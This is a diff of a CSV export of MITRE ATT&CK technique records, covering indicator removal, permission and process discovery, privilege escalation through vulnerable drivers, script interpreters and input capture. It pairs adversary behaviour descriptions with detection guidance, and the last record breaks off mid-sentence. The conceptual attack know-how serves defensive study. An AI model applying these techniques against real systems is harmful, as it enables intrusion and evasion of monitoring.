[Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. -These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69,attack-pattern,['defense-evasion'],2021-04-24T13:35:09.065Z,2017-05-31T21:30:55.892Z,File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.,"['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'File: File Metadata']","['Brad Geesaman, @bradgeesaman', 'Ed Williams, Trustwave, SpiderLabs']","['Log analysis', 'Host intrusion prevention systems', 'Anti-virus']",,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-93,https://capec.mitre.org/data/definitions/93.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1069', 'url': 'https://attack.mitre.org/techniques/T1069'}, {'external_id': 'CAPEC-576', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/576.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.3,False,https://attack.mitre.org/techniques/T1069,mitre-attack,T1069,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Permission Groups Discovery,"Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.",attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce,attack-pattern,['discovery'],2021-03-30T12:29:56.512Z,2017-05-31T21:30:55.471Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",['defense-evasion'],https://attack.mitre.org/techniques/T1070,mitre-attack,T1070,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brad Geesaman, @bradgeesaman', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'File: File Metadata']","['Log analysis', 'Host intrusion prevention systems', 'Anti-virus']",File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.,False,,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-93,https://capec.mitre.org/data/definitions/93.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069', 'external_id': 'T1069'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/576.html', 'external_id': 'CAPEC-576'}, {'source_name': 'K8s Authorization Overview', 'description': 'Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.', 'url': 'https://kubernetes.io/docs/reference/access-authn-authz/authorization/'}]",2.4,attack-pattern,attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.471Z,2021-10-15T18:10:53.423Z,Permission Groups Discovery,"Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.",['discovery'],https://attack.mitre.org/techniques/T1069,mitre-attack,T1069,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Prizmant, Palo Alto Networks', 'Yuval Avrahami, Palo Alto Networks', 'Microsoft Threat Intelligence Center (MSTIC)']","['Pod: Pod Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",['Microsoft Threat Intelligence Center (MSTIC)'],,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-576,https://capec.mitre.org/data/definitions/576.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1068', 'url': 'https://attack.mitre.org/techniques/T1068'}, {'source_name': 'ESET InvisiMole June 2020', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'}, {'source_name': 'Unit42 AcidBox June 2020', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.'}, {'source_name': 'Microsoft Driver Block Rules', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.3,False,https://attack.mitre.org/techniques/T1068,mitre-attack,T1068,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-576,https://capec.mitre.org/data/definitions/576.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1068', 'external_id': 'T1068'}, {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'}, {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'}, {'source_name': 'Microsoft Driver Block Rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules'}]",1.3,attack-pattern,attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.066Z,2021-04-22T16:13:34.896Z,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. -Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839,attack-pattern,['privilege-escalation'],2021-04-22T16:13:34.896Z,2017-05-31T21:30:55.066Z,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) +Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",['privilege-escalation'],https://attack.mitre.org/techniques/T1068,mitre-attack,T1068,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security']",['Driver: Driver Load'],,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) -Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",['Driver: Driver Load'],"['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security']",,['User'],"['Linux', 'macOS', 'Windows', 'Containers']",,,,,,['User'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1064', 'url': 'https://attack.mitre.org/techniques/T1064'}, {'source_name': 'Metasploit_Ref', 'description': 'Metasploit. (n.d.). Retrieved December 4, 2014.', 'url': 'http://www.metasploit.com'}, {'url': 'https://www.veil-framework.com/framework/', 'description': 'Veil Framework. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Veil_Ref'}, {'url': 'https://github.com/mattifestation/PowerSploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Powersploit'}, {'url': 'https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/', 'description': 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.', 'source_name': 'Alperovitch 2014'}, {'url': 'https://www.uperesia.com/analyzing-malicious-office-documents', 'description': 'Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.', 'source_name': 'Uperesia Malicious Office Documents'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,False,https://attack.mitre.org/techniques/T1064,mitre-attack,T1064,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scripting,"**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.** - -Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. - -Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. - -Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44,attack-pattern,"['defense-evasion', 'execution']",2020-03-30T13:39:24.852Z,2017-05-31T21:30:51.733Z,"Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - -Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",,,"['Process whitelisting', 'Data Execution Prevention', 'Exploit Prevention']",['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1062', 'url': 'https://attack.mitre.org/techniques/T1062'}, {'external_id': 'CAPEC-552', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html'}, {'url': 'https://en.wikipedia.org/wiki/Hypervisor', 'description': 'Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.', 'source_name': 'Wikipedia Hypervisor'}, {'url': 'http://en.wikipedia.org/wiki/Xen', 'description': 'Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.', 'source_name': 'Wikipedia Xen'}, {'url': 'http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf', 'description': 'Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.', 'source_name': 'Myers 2007'}, {'url': 'http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html', 'description': 'virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.', 'source_name': 'virtualization.info 2006'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,False,https://attack.mitre.org/techniques/T1062,mitre-attack,T1062,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hypervisor,"**This technique has been deprecated and should no longer be used.** - -A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.",attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63,attack-pattern,['persistence'],2020-03-30T13:44:04.712Z,2017-05-31T21:30:50.958Z,"Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)",,,,"['Administrator', 'SYSTEM']",['Windows'],,CAPEC-552,https://capec.mitre.org/data/definitions/552.html,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1061', 'url': 'https://attack.mitre.org/techniques/T1061'}, {'url': 'https://en.wikipedia.org/wiki/Run_command', 'description': 'Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.', 'source_name': 'Wikipedia Run Command'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1061,mitre-attack,T1061,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Graphical User Interface,"**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.** - -The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228,attack-pattern,['execution'],2020-03-30T13:38:08.738Z,2017-05-31T21:30:50.342Z,"Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. - -Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.",,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",True,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059', 'url': 'https://attack.mitre.org/techniques/T1059'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.1,False,https://attack.mitre.org/techniques/T1059,mitre-attack,T1059,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Command and Scripting Interpreter,"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). +Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",False,['User'],"['Linux', 'macOS', 'Windows', 'Containers']",,,,,,['User'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059', 'external_id': 'T1059'}, {'source_name': 'Powershell Remote Commands', 'description': 'Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}, {'source_name': 'Remote Shell Execution in Python', 'description': 'Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.', 'url': 'https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python'}]",2.2,attack-pattern,attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:49.546Z,2021-08-16T21:03:21.700Z,Command and Scripting Interpreter,"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). -Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.",attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830,attack-pattern,['execution'],2021-04-27T19:21:06.164Z,2017-05-31T21:30:49.546Z,"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. +Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",['execution'],https://attack.mitre.org/techniques/T1059,mitre-attack,T1059,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,,['User'],"['Linux', 'macOS', 'Windows', 'Network']",False,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1057', 'external_id': 'T1057'}, {'external_id': 'CAPEC-573', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/573.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1057,mitre-attack,T1057,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Process Discovery,"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",False,['User'],"['Linux', 'macOS', 'Windows', 'Network']",True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1057', 'external_id': 'T1057'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/573.html', 'external_id': 'CAPEC-573'}]",1.2,attack-pattern,attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:48.728Z,2020-03-26T18:05:53.130Z,Process Discovery,"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.",attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580,attack-pattern,['discovery'],2020-03-26T18:05:53.130Z,2017-05-31T21:30:48.728Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.",['discovery'],https://attack.mitre.org/techniques/T1057,mitre-attack,T1057,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-573,https://capec.mitre.org/data/definitions/573.html,"['Administrator, SYSTEM may provide better process ownership details']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1056', 'url': 'https://attack.mitre.org/techniques/T1056'}, {'external_id': 'CAPEC-569', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html'}, {'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'source_name': 'Adventures of a Keystroke'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,False,https://attack.mitre.org/techniques/T1056,mitre-attack,T1056,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Input Capture,"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on 